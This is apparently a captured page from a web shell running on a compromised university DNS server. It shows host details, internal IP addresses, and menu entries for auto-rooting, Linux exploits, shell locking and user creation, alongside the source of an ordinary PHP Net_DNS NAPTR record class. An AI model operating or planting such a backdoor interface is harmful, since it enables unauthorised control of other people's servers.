Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
opt /
lampp /
lib /
php /
Net /
DNS /
RR /
[ HOME SHELL ]
Name
Size
Permission
Action
AAAA.php
4.5
KB
-rw-r--r--
A.php
3.1
KB
-rw-r--r--
CNAME.php
2.45
KB
-rw-r--r--
HINFO.php
3.21
KB
-rw-r--r--
LOC.php
8.2
KB
-rw-r--r--
MX.php
2.94
KB
-rw-r--r--
NAPTR.php
4.66
KB
-rw-r--r--
NS.php
2.45
KB
-rw-r--r--
PTR.php
2.47
KB
-rw-r--r--
RP.php
2.89
KB
-rw-r--r--
SOA.php
4.73
KB
-rw-r--r--
SPF.php
1.22
KB
-rw-r--r--
SRV.php
3.3
KB
-rw-r--r--
TSIG.php
8.51
KB
-rw-r--r--
TXT.php
3.23
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : NAPTR.php
<?php /** * License Information: * * Net_DNS: A resolver library for PHP * Copyright (c) 2002-2003 Eric Kilfoil eric@ypass.net * Maintainers: * Marco Kaiser <bate@php.net> * Florian Anderiasch <fa@php.net> * * PHP versions 4 and 5 * * LICENSE: This source file is subject to version 3.01 of the PHP license * that is available through the world-wide-web at the following URI: * http://www.php.net/license/3_01.txt. If you did not receive a copy of * the PHP License and are unable to obtain it through the web, please * send a note to license@php.net so we can mail you a copy immediately. */ /* Net_DNS_RR_NAPTR definition {{{ */ /** * A representation of a resource record of type <b>NAPTR</b> * * @package Net_DNS */ class Net_DNS_RR_NAPTR extends Net_DNS_RR { /* class variable definitions {{{ */ var $name; var $type; var $class; var $ttl; var $rdlength; var $rdata; var $order; var $preference; var $flags; var $services; var $regex; var $replacement; /* }}} */ /* class constructor - RR(&$rro, $data, $offset = '') {{{ */ function Net_DNS_RR_NAPTR(&$rro, $data, $offset = '') { $this->name = $rro->name; $this->type = $rro->type; $this->class = $rro->class; $this->ttl = $rro->ttl; $this->rdlength = $rro->rdlength; $this->rdata = $rro->rdata; if ($offset) { if ($this->rdlength > 0) { $a = unpack("@$offset/norder/npreference", $data); $offset += 4; $packet = new Net_DNS_Packet(); list($flags, $offset) = Net_DNS_Packet::label_extract($data, $offset); list($services, $offset) = Net_DNS_Packet::label_extract($data, $offset); list($regex, $offset) = Net_DNS_Packet::label_extract($data, $offset); list($replacement, $offset) = $packet->dn_expand($data, $offset); $this->order = $a['order']; $this->preference = $a['preference']; $this->flags = $flags; $this->services = $services; $this->regex = $regex; $this->replacement = $replacement; } } elseif (is_array($data)) { $this->order = $data['order']; $this->preference = $data['preference']; $this->flags = $data['flags']; $this->services = $data['services']; $this->regex = $data['regex']; $this->replacement = $data['replacement']; } else { $data = str_replace('\\\\', chr(1) . chr(1), $data); /* disguise escaped backslash */ $data = str_replace('\\"', chr(2) . chr(2), $data); /* disguise \" */ preg_match('/([0-9]+)[ \t]+([0-9]+)[ \t]+("[^"]*"|[^ \t]*)[ \t]+("[^"]*"|[^ \t]*)[ \t]+("[^"]*"|[^ \t]*)[ \t]+(.*?)[ \t]*$/', $data, $regs); $this->preference = $regs[1]; $this->weight = $regs[2]; foreach($regs as $idx => $value) { $value = str_replace(chr(2) . chr(2), '\\"', $value); $value = str_replace(chr(1) . chr(1), '\\\\', $value); $regs[$idx] = stripslashes($value); } $this->flags = $regs[3]; $this->services = $regs[4]; $this->regex = $regs[5]; $this->replacement = $regs[6]; } } /* }}} */ /* Net_DNS_RR_NAPTR::rdatastr() {{{ */ function rdatastr() { if ($this->rdata) { return intval($this->order) . ' ' . intval($this->preference) . ' "' . addslashes($this->flags) . '" "' . addslashes($this->services) . '" "' . addslashes($this->regex) . '" "' . addslashes($this->replacement) . '"'; } else return '; no data'; } /* }}} */ /* Net_DNS_RR_NAPTR::rr_rdata($packet, $offset) {{{ */ function rr_rdata($packet, $offset) { if ($this->preference) { $rdata = pack('nn', $this->order, $this->preference); $rdata .= pack('C', strlen($this->flags)) . $this->flags; $rdata .= pack('C', strlen($this->services)) . $this->services; $rdata .= pack('C', strlen($this->regex)) . $this->regex; $rdata .= $packet->dn_comp($this->replacement, $offset + strlen($rdata)); return $rdata; } return null; } /* }}} */ } /* }}} */ /* VIM settings {{{ * Local variables: * tab-width: 4 * c-basic-offset: 4 * soft-stop-width: 4 * c indent on * End: * vim600: sw=4 ts=4 sts=4 cindent fdm=marker et * vim<600: sw=4 ts=4 * }}} */ ?>
Close